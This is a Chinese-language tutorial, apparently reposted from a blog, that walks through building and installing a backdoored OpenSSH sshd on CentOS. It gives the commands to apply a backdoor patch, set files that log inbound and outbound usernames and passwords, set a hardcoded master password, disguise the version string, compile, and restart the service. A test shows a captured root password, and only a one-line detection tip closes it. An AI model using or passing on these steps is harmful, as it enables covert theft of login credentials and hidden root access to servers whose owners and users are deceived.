了解有后门的sshd服务是如何劫持密码的

  在服务器上安装一个打了后门补丁的sshd服务,当用户连接时,直接把密码记录下来,然后使用脚本发送到邮箱中。

(1).实验环境

  使用CentOS6.2作为系统环境,查看sshd和gcc的版本

[root@CentOS6 ~]# uname -a
Linux CentOS6.2 2.6.32-220.el6.x86_64 #1 SMP Tue Dec 6 19:48:22 GMT 2011 x86_64 x86_64 x86_64 GNU/Linux
[root@CentOS6 ~]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010
[root@CentOS6 ~]# gcc -V
-bash: gcc: command not found
[root@CentOS6 ~]# yum -y install gcc  //如果没有gcc需要安装
[root@CentOS6 ~]# gcc -v
使用内建 specs。
目标:x86_64-redhat-linux
配置为:../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c++,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with-tune=generic --with-arch_32=i686 --build=x86_64-redhat-linux
线程模型:posix
gcc 版本 4.4.7 20120313 (Red Hat 4.4.7-23) (GCC)

(2).安装后门

[root@CentOS6 ~]# tar zxf openssh-5.9p1.tar.gz  //解压openssh_5.9p1
[root@CentOS6 ~]# tar zxf 0x06-openssh-5.9p1.patch.tar.gz  //解压后门
[root@CentOS6 ~]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
[root@CentOS6 ~]# cd openssh-5.9p1
[root@CentOS6 openssh-5.9p1]# patch < sshbd5.9p1.diff  //打补丁就是修改或替换原有文件
patching file auth.c  //认证
patching file auth-pam.c  //认证
patching file auth-passwd.c  //认证
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c  //关于sshd服务器
patching file sshconnect2.c  //关于sshd连接
patching file sshlogin.c  //关于登录
patching file version.h  //关于版本
[root@CentOS6 openssh-5.9p1]# vim includes.h
//第177~179行
#define ILOG "/usr/share/ifile"  #记录登录到本机的用户名和密码
#define OLOG "/usr/share/ofile"  #记录从本机登录到其他服务器上的用户名和密码
#define SECRETPW "testpassword"  #后门密码
//为了保证安装后显示的版本和原系统一致,还需要修改版本号
[root@CentOS6 openssh-5.9p1]# vim version.h
#define SSH_VERSION     "OpenSSH_5.3"
//安装依赖包
[root@CentOS6 openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel
//编译安装
[root@CentOS6 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
[root@CentOS6 openssh-5.9p1]# make && make install
[root@CentOS6 openssh-5.9p1]# echo $?
0
[root@CentOS6 openssh-5.9p1]# rpm -Vf /usr/bin/ssh  //可以看到ssh相关文件被修改
S.5....T. /usr/bin/scp
S.5....T. /usr/bin/sftp
S.5....T. /usr/bin/ssh
S.5....T. /usr/bin/ssh-add
SM5...GT. /usr/bin/ssh-agent
S.5....T. /usr/bin/ssh-keyscan
[root@CentOS6 openssh-5.9p1]# service sshd restart
停止 sshd:                                                [确定]
正在启动 sshd:                                            [确定]

(3).测试

//开始之前
[root@CentOS6 openssh-5.9p1]# cat /usr/share/ofile
cat: /usr/share/ifile: 没有那个文件或目录
//向外连接
[root@CentOS6 ~]# ssh 192.168.5.101
root@192.168.5.101's password:
Last login: Tue Sep 3 13:25:59 2019 from 192.168.5.1
[root@youxi1 ~]# exit
登出
Connection to 192.168.5.101 closed.
[root@CentOS6 ~]# cat /usr/share/ofile
user:password@host --> root:123456@192.168.5.101

  另外可以使用后门密码登录root用户。

(4).排查

  就是使用rpm -Vf /usr/bin/ssh命令查看是否被黑客替换。

原文地址:https://www.cnblogs.com/diantong/p/11452631.html